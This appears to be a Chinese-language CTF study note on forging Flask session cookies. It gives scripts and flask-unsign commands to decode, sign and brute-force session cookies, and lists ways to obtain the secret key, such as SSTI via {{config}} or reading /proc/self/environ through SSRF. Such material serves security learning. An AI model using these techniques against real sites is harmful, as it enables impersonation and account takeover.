Python Session伪造

这一块一直不咋熟悉,貌似在flask中session伪造比较多,学一下

并不是所有语言都有像php那样的的session存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多Web框架都会另辟蹊径,比如Django默认将session存储在数据库中,而对于flask这里并不包含数据库操作的框架,就只能将session存储在cookie中。

因为cookie实际上是存储在客户端(浏览器)中的,所以称之为“客户端session”。

flasksession 机制:flask 源码解析:session

客户端 session问题:客户端 session 导致的安全问题

flask仅对 session 进行了签名,按照flask对session的处理,如果我们拿不到secret_key也就无法伪造session

此外众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题,比如敏感信息泄露。

加密解密

flask解密脚本

通过这个脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs".encode()))

flask加密脚本

https://github.com/noraj/flask-session-cookie-manager

  • 编码

    python3 flask_session_cookie_manager3.py encode -s “woshicaiji” -t “{‘username’: b’admin’}”

    usage: flask_session_cookie_manager{2,3}.py encode [-h] -s -t

    optional arguments: -h, –help show this help message and exit -s , –secret-key Secret key -t , –cookie-structure Session cookie structure

  • 解码

    python3 ./flask_session_cookie_manager3.py decode -c “.eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHvBxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A” -s ckj123

    usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s ] -c

    optional arguments: -h, –help show this help message and exit -s , –secret-key Secret key -c , –cookie-value Session cookie value

密钥爆破

安装 pip3 install flask-unsign

安装字典

pip install flask-unsign[wordlist]

命令行就可以直接使用 flask-unsign

加密

flask-unsign --sign --cookie "{'_permanent': True, 'username': 'st4ck'}" --secret "secret" 
eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.Xbn-9Q.uNm3a4894t-TZogqY-Ab4M0HDz4

解密+爆破key

flask-unsign --unsign --cookie  "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.ZILbKw.nP0y-ckRmsBnczLXQfz3xuvZvgc"

另外也可以使用脚本

import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    print(FSCM.decode("eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.Xbn3eg.zBDV4huj8XGiRbFjSPMZq1HeV5Y"))

重要文件

/proc/self/environ  #环境变量

拿secret_key

通常情况下获取 secret_key 的方法有以下几种:

  • 网站某处泄露获取
  • 通过 SSTI 漏洞获取,如 /{{config}}
  • 通过 SSRF 读取存在 secret_key 的 Flask 配置文件或读取 /proc/self/environ 获取
  • 爆破

2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

https://www.cnblogs.com/xhds/p/12287085.html

0%